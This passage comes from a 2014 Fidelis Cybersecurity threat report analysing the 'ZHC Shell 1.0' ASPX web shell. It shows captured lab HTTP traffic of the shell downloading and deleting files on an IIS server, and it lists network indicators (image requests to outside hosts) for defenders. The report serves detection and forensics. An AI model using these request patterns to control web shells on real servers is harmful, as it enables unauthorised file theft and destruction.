 ---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- #### The following window was displayed during this operation: - “File Downloaded” from Victim system into the attacker’s system Filename: “TEST_FILE.txt” Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 GET /ZHC_Shell_1.0.aspx?action=down&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:23:24 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Disposition: attachment; filename=TEST_FILE.TXT Content-Length: 45 Cache-Control: private Content-Type: application/octet-stream; charset=UTF-8 DATA IN "TEST_FILE.TXT". Hacked by STTEAM! #### The following window was displayed during this operation: - “Del” option selected to delete a file Filename: TEST_FILE.txt GET /ZHC_Shell_1.0.aspx?action=del&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:29:11 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1920


---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- Aspx Shell By XXx_Death_xXX & ZHC

ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 **_---- REQUEST ----_** GET /ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe #### The following window was displayed during this operation: Reminder for network defenders The “K-Shell / ZHC Shell 1.0 / Aspx Shell” backdoor links two images. If the script was at some point running in the network, the following GET request will most likely be present in forensic logs: GET /img851/2304/bismillahus.jpg HTTP/1.1 Accept: */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: img851.imageshack.us Connection: Keep-Alive ---------------------------------------------------------------------------------------------------------------------------------- GET /hphotos-ak-snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg HTTP/1.1 Accept: */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: a6.sphotos.ak.fbcdn.net Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Connection: Keep-Alive ``` The Fidelis Take #### It is clear from this paper that there continues to be considerable global activity involving threat actors attacking the Oil & Gas industry, and State government in the Middle East. We are publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated. Fidelis XPS™, the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity Solutions detects all of the activity documented in this paper. The Fidelis Threat Research Team will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers’ security. ``` Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 -----